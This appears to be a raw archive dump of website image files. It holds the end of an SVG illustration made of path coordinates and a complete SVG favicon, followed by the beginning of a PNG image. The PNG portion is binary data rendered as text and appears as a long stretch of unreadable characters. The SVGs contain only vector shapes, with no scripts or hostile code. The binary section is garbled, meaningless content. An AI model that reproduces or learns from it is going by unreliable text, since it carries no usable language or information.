      <path id="Path_162" data-name="Path 162" d="M143.11,217.69a.162.162,0,0,1-.16-.14,72.642,72.642,0,0,1-.42-8.08.158.158,0,0,1,.16-.16.172.172,0,0,1,.16.16,74.385,74.385,0,0,0,.41,8.04.167.167,0,0,1-.14.18h-.02Z"/>
      <path id="Path_163" data-name="Path 163" d="M146.14,219.91a.162.162,0,0,1-.16-.14c-.35-2.39-.61-4.82-.79-7.24a.16.16,0,1,1,.32-.02c.18,2.41.45,4.83.79,7.22a.159.159,0,0,1-.14.18h-.02Z"/>
      <path id="Path_164" data-name="Path 164" d="M149.37,222.21a.169.169,0,0,1-.16-.13c-.55-2.48-.99-5.01-1.31-7.52a.161.161,0,1,1,.32-.04c.32,2.51.76,5.03,1.3,7.5a.161.161,0,0,1-.12.19Z"/>
      <path id="Path_165" data-name="Path 165" d="M152.35,223.81a.171.171,0,0,1-.16-.12c-.54-2.26-1.02-4.58-1.44-6.87a.16.16,0,0,1,.13-.19.174.174,0,0,1,.19.13c.41,2.29.9,4.59,1.44,6.85a.154.154,0,0,1-.12.19h-.04Z"/>
      <path id="Path_166" data-name="Path 166" d="M154.95,223.88a.171.171,0,0,1-.16-.12l-1.16-5.06a.159.159,0,0,1,.31-.07l1.16,5.06a.154.154,0,0,1-.12.19h-.04Z"/>
      <path id="Path_167" data-name="Path 167" d="M157.52,223.08h0a.283.283,0,0,1-.2-.18l-.75-2.4a.158.158,0,0,1,.11-.2.151.151,0,0,1,.2.11l.72,2.32s.05.02.06.04a.18.18,0,0,1,.03.21.2.2,0,0,1-.17.11Z"/>
      <g id="Group_63" data-name="Group 63" opacity="0.13">
        <path id="Path_168" data-name="Path 168" d="M197.51,46.35a4.929,4.929,0,0,0-2.08-.69,14.93,14.93,0,0,1-2.04-.71,9.585,9.585,0,0,1-1.06-.54.834.834,0,0,0-.12-.08,1.584,1.584,0,0,0-.61-.3,4.317,4.317,0,0,0-.82-.66.924.924,0,0,0-1.01,1.5c1.48,1.43,2.93,2.88,4.39,4.32.69.62,1.21,1.5,2.06,1.9a.9.9,0,0,0,1.07-.53,3.379,3.379,0,0,0,.11-1.1,4.78,4.78,0,0,1,.21-1.55,1.442,1.442,0,0,0-.11-1.56Z"/>
      </g>
      <g id="Group_64" data-name="Group 64" opacity="0.13">
        <path id="Path_169" data-name="Path 169" d="M188.22,68.27c-1.16,1.38-2.28,2.78-3.53,4.08-.59.61-1.2,1.19-1.82,1.77l-.27.3c-.64.7-1.28,1.41-1.94,2.1a.809.809,0,0,0-.37-.12c-.42.35-.84.7-1.26,1.04a.451.451,0,0,1-.58-.01h0a44.787,44.787,0,0,1-9.24,5.28,1.027,1.027,0,0,1-.14.04c-.1.07-.21.14-.3.21a3.187,3.187,0,0,0-.61,1.83c-.13.76-.16,1.8.69,2.13.69.33,1.28-.24,1.85-.56a30.127,30.127,0,0,0,3.03-1.96,36.057,36.057,0,0,0,6.84-4.97,72.923,72.923,0,0,0,5.08-5.46,18.083,18.083,0,0,0,1.16-1.6,21.56,21.56,0,0,0,.9-2.17c.21-.63.37-1.28.55-1.92h-.01Z"/>
      </g>
      <g id="Group_65" data-name="Group 65" opacity="0.13">
        <path id="Path_170" data-name="Path 170" d="M199.19,134.84c-.6-.57-1.49-.43-2.24-.54a40.086,40.086,0,0,0-6.48-.31c-.94.03-1.87.03-2.81.03a4,4,0,0,0-1.25.09,1.043,1.043,0,0,0-.35.22c-1.44-.07-2.88-.13-4.33-.21a79.352,79.352,0,0,1-8.49-.88.944.944,0,0,0-.5,1.82c1.51.36,3.06.47,4.59.68,1.84.26,4.48.55,7.06.73,2.81.2,5.6.56,8.41.72a23.426,23.426,0,0,0,5.67-.3,1.221,1.221,0,0,0,.72-2.06Z"/>
      </g>
      <g id="Group_68" data-name="Group 68">
        <g id="Group_66" data-name="Group 66" opacity="0.13">
          <path id="Path_171" data-name="Path 171" d="M212.14,185.57a.494.494,0,0,0,.04.09C212.22,185.76,212.25,185.82,212.14,185.57Z"/>
        </g>
        <g id="Group_67" data-name="Group 67" opacity="0.13">
          <path id="Path_172" data-name="Path 172" d="M214.14,148.09a.885.885,0,0,0-1.6.21c-1,3.51-1.24,7.17-1.94,10.74-.36,1.83-.84,3.64-1.17,5.48a53.182,53.182,0,0,1-1.71,7.7,18.946,18.946,0,0,1-.99,2.72,1.63,1.63,0,0,1-.11.17h-.03c-.26.02-.53,0-.79.01a1.511,1.511,0,0,0-1.42,2.24c.6,1.95,2.96,4.78,3.53,5.54a18.791,18.791,0,0,1,2.75,4.72c.14.47.25.96.36,1.44a1.036,1.036,0,0,0,.3.66,1.05,1.05,0,0,0,1.78-.78,13.948,13.948,0,0,0-.84-3.1,1.388,1.388,0,0,0-.06-.19l-.05-.12c-.14-.35-.64-1.52-.42-1-.47-1.08-1.08-2.6-1.71-4.28-.41-1.07-.8-2.15-1.24-3.21-.15-.28-.23-.62-.38-.9a31.706,31.706,0,0,0,2.29-7.21c.55-3.05,1.1-6.1,1.79-9.12.41-2.39.92-6.72,1-7.17.15-1.09.34-2.18.6-3.26.09-.43.35-.89.08-1.31Z"/>
        </g>
      </g>
      <g id="Group_69" data-name="Group 69" opacity="0.13">
        <path id="Path_173" data-name="Path 173" d="M296.63,125.56a1.771,1.771,0,0,0-1.7.05c-1.32,1.4-2.58,2.84-3.81,4.3-.75-.16-1.17.51-1.58,1.13-.45.65-.91,1.31-1.4,1.94-.22.28-.44.56-.66.83-3.53,3.14-7.27,6.05-10.85,9.13-6.55,5.31-13.12,10.62-19.49,15.56-.26.18-.52.36-.77.53-4.29,2.91-8.68,5.68-12.96,8.61-8.87,6.13-17.58,12.47-26.68,18.25-4.07,2.63-8.21,5.16-12.3,7.75-2.71,1.69-5.53,3.19-8.28,4.81-4.16,2.53-8.25,5.17-12.47,7.6-3.69,2.32-7.52,4.41-11.38,6.45q-5.16,2.955-10.2,6.13c-.99.61-1.98,1.22-2.98,1.82-.42.26-.94.45-1.15.91-.7.33-1.37.62-1.99.86a1.105,1.105,0,0,0,.59,2.13c.29-.11.58-.22.86-.34a1.144,1.144,0,0,0,.87,2.09c8.25-1.89,16.46-4.02,24.8-5.54,2.16-.36,3.03-.48,4.75-.66,1.26-.06,2.06-.15,2.6-1.06q.165-2.145.42-4.26c.28-2.39.63-4.77,1.03-7.14l.06-.51a1.121,1.121,0,0,0-.63-.34c.94-.6,1.87-1.21,2.79-1.84.64-.52,1.48-.85,1.77-1.4q2.475-1.275,4.96-2.52c2.4-1.18,4.64-2.64,6.92-4.02,4.36-2.54,8.49-5.44,12.64-8.31,3.58-2.47,7.25-4.82,10.89-7.2,3.35-2.24,6.96-4.05,10.31-6.28,3.27-2.2,6.5-4.47,9.79-6.65,2.75-1.88,5.59-3.62,8.3-5.56.93-.67,1.82-1.38,2.69-2.12,1.43-.97,2.83-2,4.23-3.01,1.88-1.37,3.77-2.74,5.54-4.27a123.592,123.592,0,0,0,12.48-11.95,7.877,7.877,0,0,0,.94-1.15.872.872,0,0,0,.02-.69c.91-1.16,1.81-2.31,2.73-3.48.35-.41.7-.83,1.04-1.25,1.28-1.2,2.52-2.43,3.68-3.74a50.41,50.41,0,0,0,3.29-4.01c.07-.1.25-.34.29-.39a.855.855,0,0,0,.21-.57.914.914,0,0,0-.26-.62ZM160.86,223.18c-1.04.25-2.09.49-3.13.72,1.01-.42,2.01-.89,2.99-1.38a.935.935,0,0,0,.3.43,1.071,1.071,0,0,0-.15.22Zm27.35-14.57c-.65.44-3.88,2.73-5.48,3.65-2.21,1.23-4.44,2.34-6.7,3.42,1.78-1,3.55-2.03,5.28-3.11,2.47-1.47,4.97-2.89,7.43-4.37q-.255.21-.54.42Z"/>
      </g>
      <g id="Group_72" data-name="Group 72">
        <g id="Group_70" data-name="Group 70" opacity="0.13">
          <path id="Path_174" data-name="Path 174" d="M172.58,190.53a.664.664,0,0,1-.07.03C172.84,190.42,172.75,190.46,172.58,190.53Z"/>
        </g>
        <g id="Group_71" data-name="Group 71" opacity="0.13">
          <path id="Path_175" data-name="Path 175" d="M179.04,177.16a.909.909,0,0,0-.66.87,4.949,4.949,0,0,1,0,.77.984.984,0,0,1-.02.17,18.778,18.778,0,0,1-1.06,3.9c-2.83,5.76-7.87,7.1-13.66,5.56-.53-.15-1.09-.51-1.62-.16a1.1,1.1,0,0,0,0,1.89,17.543,17.543,0,0,0,6.5,1.19,11.183,11.183,0,0,0,3.88-.74c.06-.03.13-.06.18-.08a13.439,13.439,0,0,0,5.97-5.54,12.4,12.4,0,0,0,1.51-4.71c.11-1.01.68-3.36-1.02-3.12Z"/>
        </g>
      </g>
      <g id="Group_73" data-name="Group 73" opacity="0.13">
        <path id="Path_176" data-name="Path 176" d="M237.32,141.52a1.037,1.037,0,1,0-2.07.11,13.052,13.052,0,0,1-.64,3.14l-.03.09c-.29.64-.61,1.26-.93,1.89a12.113,12.113,0,0,1-3.95,4.66,11.292,11.292,0,0,1-1.33.91,30.443,30.443,0,0,1-2.75,1.42c.74-.29-.87.32-1.2.37a15.455,15.455,0,0,1-2.5.52,13.521,13.521,0,0,1-2.62-.1c-.44-.06-.91-.23-1.32.03a1.074,1.074,0,0,0,.26,1.95,20.253,20.253,0,0,0,4.53.39.34.34,0,0,0,.1-.01.877.877,0,0,0,.82.5,12.564,12.564,0,0,0,4.9-.77,18.287,18.287,0,0,0,2.83-1.67,9.939,9.939,0,0,0,3.15-3.04c.28-.48.86-.94.7-1.55a.736.736,0,0,0-.38-.49,16.59,16.59,0,0,0,1.95-4.18,9.721,9.721,0,0,0,.3-1.61c-.05.37-.04.27,0-.03a12.535,12.535,0,0,0,.19-2.52Z"/>
      </g>
      <g id="Group_74" data-name="Group 74" opacity="0.13">
        <path id="Path_177" data-name="Path 177" d="M142.2,218.3a1.019,1.019,0,0,0-.73.07,3.366,3.366,0,0,0-1.1.45c-.76.41-1.51.82-2.23,1.29a49.157,49.157,0,0,0-7.47,6.27A28.748,28.748,0,0,0,126.6,231a1.46,1.46,0,0,0,.02,1.57,1.2,1.2,0,0,0,.41.51c.12.08.36.25.46.32h.01c.1.1.26.27.33.35.46.63.58,1.52,1.28,1.96a1.532,1.532,0,0,0,1.93-.53,1.888,1.888,0,0,0,.18-.41c.03-.07.09-.2.14-.31a33.128,33.128,0,0,1,1.74-3.28,33.683,33.683,0,0,1,7.42-9.25c.86-.79,2-1.61,2.25-1.92a1.092,1.092,0,0,0-.56-1.71Z"/>
      </g>
    </g>
    <g id="Group_78" data-name="Group 78">
      <g id="Group_76" data-name="Group 76">
        <path id="Path_178" data-name="Path 178" d="M38.94,84.71c17.29,1.94,34.75,1.8,52.15,1.34,4.2-.11,8.74-.37,11.97-3.08,4.64-3.9,4.09-12.27-.83-15.79s-12.66-1.61-15.71,3.65A13.343,13.343,0,0,0,75.27,57.27,13.3,13.3,0,0,0,61.14,67.76c-.32-4.38-6.48-6.34-10.11-3.91s-4.76,7.4-4.2,11.75c-1.58-4.18-8.12-4.74-10.97-1.31s-2,9.85,3.09,10.42Z" fill="#fff"/>
        <path id="Path_179" data-name="Path 179" d="M58.33,86.58c-6.61-.24-13.02-.68-19.44-1.4a5.434,5.434,0,0,1-4.61-3.5,7.909,7.909,0,0,1,1.21-7.69,7.376,7.376,0,0,1,6.84-2.3,6.657,6.657,0,0,1,3.89,2.04c-.05-3.75,1.1-7.97,4.54-10.27a7.739,7.739,0,0,1,7.48-.33,6.012,6.012,0,0,1,2.89,2.8c1.97-5.71,8.18-9.85,14.19-9.12,6.1.74,11.22,6.39,11.65,12.52a11.937,11.937,0,0,1,6.85-4.13,10.96,10.96,0,0,1,8.68,1.6,10.687,10.687,0,0,1,4.21,8.34,10,10,0,0,1-3.35,8.2c-3.25,2.73-7.65,3.06-12.26,3.19-11.85.32-22.54.44-32.77.07ZM38.99,84.24C55.3,86.07,71.6,86.1,91.07,85.57c4.43-.12,8.66-.44,11.67-2.97a9.1,9.1,0,0,0,3.01-7.44,9.777,9.777,0,0,0-3.82-7.61A10.009,10.009,0,0,0,94,66.1a10.712,10.712,0,0,0-7.1,4.95.468.468,0,0,1-.87-.27A12.872,12.872,0,0,0,75.2,57.72a12.851,12.851,0,0,0-13.61,10.1.474.474,0,0,1-.94-.05,4.679,4.679,0,0,0-2.84-3.82,6.758,6.758,0,0,0-6.54.27c-3.7,2.48-4.46,7.64-4,11.3a.473.473,0,0,1-.35.52.465.465,0,0,1-.55-.29,5.177,5.177,0,0,0-4.2-3.15,6.4,6.4,0,0,0-5.96,1.98,6.9,6.9,0,0,0-1.06,6.73A4.529,4.529,0,0,0,39,84.23Z"/>
      </g>
      <g id="Group_77" data-name="Group 77" opacity="0.13">
        <path id="Path_180" data-name="Path 180" d="M104.24,80.93a1.045,1.045,0,0,0-1-.95,1.962,1.962,0,0,0-1.02.4,11.11,11.11,0,0,1-1.2.59,18.9,18.9,0,0,1-4.55,1.22c-.15.01-.3.03-.44.04.64-.06.06-.01-.27-.02-7.16-.19-14.31.32-21.47.33-3.27,0-6.54.13-9.81.13-5.43-.07-10.86-.12-16.29-.18-1.37-.07-2.74-.12-4.11-.27-2.26-.28-4.5-.71-6.77-.85a1.321,1.321,0,0,0-.1,2.64c3.48.32,3.78.71,8.17,1.23,3.38.37,6.79.25,10.18.38,3.42.11,6.83.27,10.25.38,2.79.05,5.59,0,8.38.01h.28c3.87.22,7.74.23,11.61.17,1.66-.05,3.32.03,4.97,0,1.48-.07,2-.17,2.96-.24a16.4,16.4,0,0,0,5.6-1,4.9,4.9,0,0,0,1.55-.86.779.779,0,0,0,.21-.61,10.924,10.924,0,0,0,1.52-.88c.18-.13.7-.5.25-.18a8,8,0,0,0,.65-.5,1.014,1.014,0,0,0,.44-.97Z"/>
      </g>
    </g>
  </g>
</svg>
images/favicon.svg000066600000003666151150443020010171 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
  <g id="Group_234" data-name="Group 234" transform="translate(-5033 -1007)">
    <g id="Group_232" data-name="Group 232" transform="translate(949 252.244)">
      <circle id="Ellipse_15" data-name="Ellipse 15" cx="16" cy="16" r="16" transform="translate(4084 754.756)"/>
    </g>
    <path id="Path_229" data-name="Path 229" d="M-5.742-14.058a4.652,4.652,0,0,1,2.142.477,3.624,3.624,0,0,1,1.467,1.332A3.592,3.592,0,0,1-1.6-10.314,2.753,2.753,0,0,1-2.079-8.73,3.5,3.5,0,0,1-3.384-7.6,3.4,3.4,0,0,1-1.458-6.444a3.37,3.37,0,0,1,.7,2.2,4.175,4.175,0,0,1-.585,2.2A3.992,3.992,0,0,1-2.979-.54,5.151,5.151,0,0,1-5.364,0h-4.68a.9.9,0,0,1-.666-.27.9.9,0,0,1-.27-.666V-13.122a.9.9,0,0,1,.27-.675.921.921,0,0,1,.666-.261Zm0,5.778a2.606,2.606,0,0,0,1.7-.522A1.839,1.839,0,0,0-3.4-10.314a1.813,1.813,0,0,0-.639-1.5,2.637,2.637,0,0,0-1.7-.513H-9.108v4.05Zm.378,6.552A3.036,3.036,0,0,0-3.33-2.385a2.309,2.309,0,0,0,.774-1.863,2.036,2.036,0,0,0-.765-1.71,3.243,3.243,0,0,0-2.043-.594H-9.108v4.824ZM10.674-7.29a.891.891,0,0,1,.657.261.913.913,0,0,1,.261.675v4.3a.809.809,0,0,1-.288.666A6.7,6.7,0,0,1,6.894.18,6.72,6.72,0,0,1,3.375-.774,6.861,6.861,0,0,1,.864-3.384,7.409,7.409,0,0,1-.054-7.038a7.323,7.323,0,0,1,.918-3.627,6.947,6.947,0,0,1,2.511-2.61,6.672,6.672,0,0,1,3.519-.963,6.989,6.989,0,0,1,2.367.36,7.094,7.094,0,0,1,2.025,1.188.851.851,0,0,1,.288.333,1.039,1.039,0,0,1,.072.405.763.763,0,0,1-.261.594.9.9,0,0,1-.621.234.955.955,0,0,1-.612-.234,5.237,5.237,0,0,0-1.44-.909,4.989,4.989,0,0,0-1.818-.279,4.774,4.774,0,0,0-2.583.738A5.338,5.338,0,0,0,2.439-9.8a5.672,5.672,0,0,0-.693,2.763,5.657,5.657,0,0,0,.693,2.772,5.356,5.356,0,0,0,1.872,2,4.774,4.774,0,0,0,2.583.738,5.243,5.243,0,0,0,2.9-.9v-3.2H7.308a.973.973,0,0,1-.675-.234.763.763,0,0,1-.261-.594.763.763,0,0,1,.261-.594.973.973,0,0,1,.675-.234Z" transform="translate(5049 1030)" fill="#fff" stroke="#fff" stroke-width="1"/>
  </g>
</svg>
images/cropped.png000066600000250651151150443020010163 0ustar00�PNG


IHDR��)� cHRMz&�����u0�`:�p��Q<bKGD�������	pHYs���o�dtIME�
嫘�orNTϢw��IDATx��w�e�u���j��;�LO��	�9g�IQ���,�r��l�{���}m_gYזl˲l+�Z9Ѥ$�"E�	 2&���'�P������t�@�~�O?�s��T�jժw��.�]����s����|��}����@q|Y[���X�p�����P���p��?�*��B�ׇ���	�����V�v��S��Kp��/����퍆{�R�C�x�o���n���{��?�ܝm����%m�������b�.k�QpG��F�y����/��_��:p?_qoG���	�U�p͊�}�>U�KY�np�p|
ܫ*����T�;,�h�}��e?U��U���W+�$��2��wDZ��	ss�ow���,#&K���{DG�L<�<�l�K�R��)�]��̖�g��',�G�NE��9�8�+����+گ/�$pkI�>`X<�tI���演<̗�?��*�ax��̄��XE߅�O�z������p���H�_,>o�;�5@����:�ޛ�Y��sT���}�	�ǁ���P��޻��<ǁ���t��hW�?��9��H��ꪟ�0~��S|�%�&�|�H��|�фc�Ð�a���฾��3��s��}?0��7�/u�=�IV�������z����WhA�9ֲ��<���ܹ\m-Sxe2��<7����<�b�@(dun�:�J'�o~��--���Z�o>
�x����Ԅ���Ox����v�D�oK%m
 �7"�๕�u�U��瘭h��p��}?����-�Nz��܆������\k�	�Ŗ��~3]���m��0*L�s���������7W�vܿ��ӻ�r� (ݎ�cp��������v��o�ׁ{��m.�ܷ��;�M�W�����~33��^���o��󕵿�0��p����n����V�s�oS�-���x��EP���&_FiKI�I�i'�l�~M�&/��k?ŋ#5�~�j��������gm�2˵�͵H�vb,������N����OW��m�v����q�;�?ZѶ�nb�ߊ���f��m7��.�׃���I�Ҹ��B����W+�x�5���Q�)C���LƝLh�?�]�ݍ�UO�w���܉܇w�*�w:&މ���[�~����
\����{��q
�{�R�4���H�A7�A����~2N�}x�L���,pI�!.!�eZ��x����sm�p ����~���M�Ϫ	�K�5�ģ�U�]�߫h�P�m��2y��:ຊ6�?����ze�5�O&\��;����:A��R���+ڕ|h׮��89�/Ï�*/ŝ�P�Y;�[�;��{x=�Y����ඊ�6�]�����(%��~���j�>
��
�7)��j���Ғ�>ۻ,ר6�C���2!*�s�g��c�%�J)�k5�֕��T�%-��U�Pm�����!؅Wxe�֥ڻ0�!�M��	�����q��6�����vq�U�Ku���ͲJ�d����Xi����L��?.mEߝ�p�xƪ�?ճ��S&�h+���n���Z3S��s�j;���c���ۊ������Q%�K/�'��ś�e�9^t�'(_i���߈�	�(�1����&t�o2�W�ڽ[t��^.L���G����j�*0�}4 ��;E%�ԝd���ǎ�NJ�~u|yE��xE�_'\�י<��T/r���g+ڟ�[oZ�6�%��~i�}<���OOh� �cP����}��'�ݹJ��?�,�:~l�]�_5^�=��t�*����^(i�\��6�؇�r����^�KɊ�2A|}������>=1�Ŗ&~_k)̇���̧��b�*Aq
����}���3Lޚ���r��Q������
l��bu�*���H�U��&_���W^���p�����{�v����<��z)][_|�Kx��R��1��G�g��x��0^�w;�Sr+��1\u��͙$Wrܦgݏ�ۖ�~��|O9���V����v���Kq����&�1�=������}��T#���lB'M+E��U�K�	��Q���]���r��o�T<{��;T�¿��W=�k���s�M��xE����]�?�Я���_�*N\��/��z��R�o�ho�3U�׷�'H���N.y����iށwa����=���T�Z�Ǥ���Z�~wBBp��Jc�5^|KŁo�'�<��qӷ�Wu���h��8)[�o>�G�������0�]�g�E�U��5�[L���Z��W(��=��o��v�4��E��
���ٱ�����M�_E���AU����'�����*���J�d��햮������&������6FBT>��x��j����w��}?���G�WW��n<�]5i�����?N�sV\�K��ϛ�8�$�q��R��>�7�r�Xer?�k\��g��Wql@UG��S"�I����+�!�ֈ+���pKm0@կ~��w覊��{����R/4��=�_���㿴{7u�Ȝ+�w��\�&�~�d��#�cY���_�W\e�{(�W�䂿��K8_q�q�R��E?M���$�u���N�1��B�7w
��q�3����]0o�+�Ooi;S<칊cS<�lō/჎ǯ�e�f�
�߸\!I�&���$�݋�yE�[E�W���I�0p*�K^�(��xƭ�������r��E|�������⹯�gn��3��B0��>,��{:L��%
S�M��ˑ�]�	#�V�Vy
oy�W�]�{�+��ܵ��pȇ���Q��8��[�r��=�Ӥuq���xzy�*�S����c\��~�.��wX�r��X֊����k��ρE�'b���[�����i|��|n��xE��V�3ڏ�+�2|%]1~r�MX�%�v�(eǶ��Ǖ[c�x(����¤v�W8cy�īQ4>��9W�16_�����7���5\�ˑX��c�*�m��m��������}v��J�X�����|M��(5�D[��}��&aR�a�7}����(^��k���m���(&�W��e����Gw���]W�O�a��v/�H>���8�7;�6	h�����r_�4�䞟��M<hZ�N~�{S�e���p	�+��	m���[���?ƻ4_��>��tݩLʖ}1�&��m.z'\Ɗ�Y_ڦs�I�I�'�+&/�OT��R>0���	�>Fub�X�&�{����_{���&�-Wu���iµ���,~����P=�f�{{_I��3P��T{a�G�"��m�x���;��|U��x��/V\�'�ʸ�i��������ݽUⱫ����
ᗊ�������ń���T���Ï�2�4�׷y��2y��x�M�zq�A)��x�옼��F5���'�]��R�u,(��p���	�~#T���L�*���s��<Mv�9��J��`�gdB�=���,ծ�cTO����20r�Qʨ0:E�`�X��"\;��T��E{U�A<>Pշ{��6>w�,Q����.^�����ls�e����Ǡc�;Xc2�d��vU���+����%�z҂�ح7�Z|/��P>Burxe2��V
9!�<�i�!���FL�f�V(���&,�e��7�k#	���r	���T��Չ3�KnѲ�Zqު�˛���{����?/W9��}W����֍����*���x�K��L~�W-d�蛭
e	����^W�_�$�Uc�<�wo��z�I(sK��>���/U�Oc����*ք@8W�F
�{��_�6j����>����[<Եd
V�~����r��ꛀWy���&	_Ȳ��r�K���O���� ��}Sfi�>����Aݱ�4���������U��N���W8e�:���jI�����Vُ�����[E
A�9Ҋ~ۍ��͋�n�o�W����R�_��N��+����ʱ*�J<%_Knz� ~@/|�o�k�5�F��B��|M�&�i[s+�3ê�����j�Fᣥ�h?�� �;�xĸ*�)�)De���!�'��޽M�xV%���M�=?L9h$���\�[�!���A��c��jʨ�n/��B�?��2��{��6��_��|T�X1�q�W�'�q�qi�������Z|��d��7�uU^��u�sJ��P�AH�ܨ�0ը�5?�;����7c�U����&�˯S�Dr~��<޷�U��Q�s<"%�d����*�a�A���}?~Kp�|��5o��l-<R\���Z�KH�nݭ�V<��@yF"x������񃢱�H��K�<&��rO�x�l 
|Z����2e�y&'����=��)��Lfzz��Ii�0�f�U�=xNȪL�)�'��sM��y��IXo���X�~�Z��Ǭ%n�/	�JP�x��W�����vΫ�M�:d�{�ʋ���]�e�=��m�F��HBQ
Y��
�U��39ڬ�?tw�B�J��q�U�ߍG�/P�ًw_��|R�O�1b^�U+ı��֖�mǙv#.W��%ǫz�%ld5�y����Lfa���<'���'�U�g��܃�t|�6}5~���L���5�u(�ù?~�<%�<��̠���O+ܤN?;�����*
(����>�����YX�h�h�����2ޕe�M��JN2�g��
<���9C�j��^�W�ǔ��<�(O�y���Kyb�#��Eu6�|q�<Z<��n���L�˓���W�ו���T�c>}�p��9�߮T�>�g�����.�>�����^U@��'^U���[WU.�:�3T+9�[�E��OS=�������=`U[�;���+Q迊7�?Sq�,�_�0>;���޽�P�	h)I��sp'2���������Jk}���c�Ct�Wf��O֪lѻ��t5r�mPf	��Ὗ�S�_�4�`�~�.��j�0��pWy��K0�����dٷ�_�rj�W|�
�����k�5��|�䦫-u�e�n�:^�ZD�M�W^뉾�"���f2��bru��co����G�'%�ƃ�W+�VOk��c��I�{��(ҝr-�𞀗B�m�v��?S�E&s� �{�����&{;�Ց����'/��>@y�~�%����</�$�4h�Z�7Ws,�_~nB�?��֫m�|�I(�oP�6���s���xh������8�G�f���{����o�.�����(�./=���dV)����R���U��0~�|���<�V�{->��j1�������+.�kx�b�{~_�k�L"�������A�g��O������Y��!^!L��T����U	B��*-vMڻ�g�*x�r�ەb�V��~���L&B3��!<J�����r~��Y{��$)�?B!��^�_m�w�nB{�Z~�����K��_as����Ҳ �a�V���k��w��o���5��[<E��,�*߂���Uqo7
��P���<'��K���*w���@jU��=k�xE���0���*��&�O���gVn-����Ňf�)���3:��"
]�9K�2�8i5k�W��tZc��*NE�1�\�t���Qo�Z)���l�t�:=
\TUf��r��-Ze��prʕ��ZI�
�?��9�jV�IJ�.IJ��E�wh��!����
��+�(\����9N�/�)�')��s��{3��b��^)g\R��9����>��U�s&V���`�l�zL�J���������ɩ� �������j���Ǹ���jun���^n�[\��(�h�⠭	M�i�D��O������Ļ
o�M���(�v�]D�Q�#Jqn4��oh��}>Q���K��!�o֞�WJ.�q6h���70�G���{�/�W�|��v�w�[����e~A��㿣��/U�߷����y*�6��R�ĮY��!>ىd�q.�y<My"�8�5�w �V0Ժ�B����O�)���a�Ӭ�⭟?�<P���+�q���(���+�ܐo��ɤ$��[km
<#������C�v����w*���yi���/�Iq�
/�����r�	.U�k9�WPƅh�\ꛆ��������sY��>3�|{1>���/[r�5���Q��!?�k�P\-7Y2�x!�y2My&�8�5�5�5�d��?.X�bJ���#�ɯD�*������8��f6��ϥ����\�]����}�:�13u�'�Z�G����]�ɵ�KY���*�֫/��G�����Y_V�/{�cq�k
攺&B�I�P�rIC���Qx��7Ȥ��m;>�\G��&q�U�|=޵w��b&o�׹u¾��(��,�gc�ʑ�qF�]�=���;�δ|��Q��L�Lu)9��k�J\��K.�SJ�Z����Z�[ZM��K}}�j
�:�]Yr��k�~Z�{�	��R��9O��cL.�6�wKV����\���d?	�3�{f��֖�ׇ!�wx=�Y���(/7��X��Kāǯ����{ʦ7<��1�^5m�/;�:]�茪�`��8X�
�ދI���9����_
k��e2+�&t�a���9�s9�g���%	A�>��{�K
�X1[�\�+��ku���0�Y������8q�,��U�s�/�>w�}A���n�;��4��v��d�V���*|L�7?O���3I��o�T��i�w�^t�ٲ�U���`2u�f�b�?������}?)'�.�c��O��wS^ui,�X\Z*m�x_�$�KF�[�J���,W*��֗�$�r�jN�ޓ����v��K��w?x%pW�6�|SJq{-�1��pDD����˞��_}V�IV#�7��8�$ok6ye2�R ^"�1u�wg�֒�Kw;�^9W<C��"��R��������pe��K��Z.T�GO჻��\J��
�;���&�ҖI �4�-�>��w�ϛ��Z�q����T�5>,��:�|4z���F��1�̳�:�ƛf�@y��v�So�#ȟ�i�,u9����d������l�{=@u�o�L)Ƀ���w��!
!�Q�]A��cx*��0r�G��mh�1�F<o�e�w*W[���Y�jl����l�^��F�+���{^�Rep�X�K]����0���oSk�B��;�K��ʹkH�Q�.�h+Ŵ��b�LI�
�f)\�3y���|�X�/��q��|S��������!D�*�_	+����n���=��z���YF�%H��*u!��
�P�Rr}�1|�?|Q'��ZK��Ӕ��∖�t�d���,�j4M���d[b�a�0�v}�g�c_
SM��Rʋ���I!��������f��x$�Kx*�r#�ƣ�e��@Y�Y�O����&e��R��WWI��C���6�[G����[���Yֆ��yd�\Q ��gb*��O�eop0�2�K�W����G�9�x�s�s�^��Trܻ�ǝB�sαb��pS��u�7�YND�Ma!hII[I:��t�lC��%�k��Y�]��:���?㱱���Iwe�ౡۥ�sB��e�Ks|e�o�c,o�<�I�eUt��{�N����#	
W�t��{8~���xP�r	�Z��'���w��ֹ˒(nǻE�8�N<���A�DT��^^t�<>�t����Yq���	zm��S�K	L�!�����˻�U���ۦ���ݻ�)�6��Rq�㾹�Ÿi�o���^'�
�n.��^�`I��+��k��$?��qx�M7��7é4�t�C�w֜8�4~|ޓ�b'���҄�G#M�<#-��q�o��:��'_��5�	;�D�Oh{~m���ٯ>�Ϩ�^�Tm��')�w�v���x�W����
���7e�F��{w�y�rS�B�F���r�r|��]�FƢ*�:t�	%���?.�]�w@�M�W���R������js��@��
?:7�o��|�����'H	c�<^eTgK���v��r!�q�C�N�XV6܇�LWt��׽Ǐ~�L�#1��4��n��sc9aSJђ�@����!̥2�nӽ�.�v7�!=i����yΩ<��$eA�+n�� ������_{��o���#p�Di{���c�Ǫ���c	ʬ����r{��[��gܤ��u�_�9n8��f�q��QU��8^[連�Q����>�_!OR�⏊{/�7B�	.'0+�~u�)��v�6v�G�$�n�������e�9���%�{
�PR��?ʲR��c��0�{�!((��dQk�x0ڴ�	(�=y�z�{\�Ms��Y��R���"y�a���m��<x���p���"�Ff�$V
)%V@b/�@h�x�9�?�^V�y[�UI9V���=���q���c�ϗ$���v��|��,9��i���"���=u��?�_���ߋ��/�s������T/�Oහ�y��x$>ɢ[q���o@�i���
�l\�d�E����B�m�6/k6^�p�?����D`��z��+wI��g���>9�`;q�Y��C��$�}Y��}�S�m|��
Ǿ����:U^R�x2M�8�T����-2N��VK!���:��9�j6xW�u��V'�_]�r"�/�(,ac%��=7�1��Ǟ����i]�܂�x���WQ��Ne#��4�7b���w���QQ�$�����>����X���_��c�_LS~���t��|$�]3�ܵ��Z3���#s�d����󜮱�RД���4��v����j1�"��Fyd��_׺�^��FQ�Oo�p�b\[�j$�G��_�L�A�(�<�s��A��)�^:�=�?<7��k5�K���j{��c�p������"me��CpR�M�e��RP�N�DSJ��n��CX����}1t�Ec��8�!w��c�X.jâ6t���c1��jm�u5�/x�Q�T���
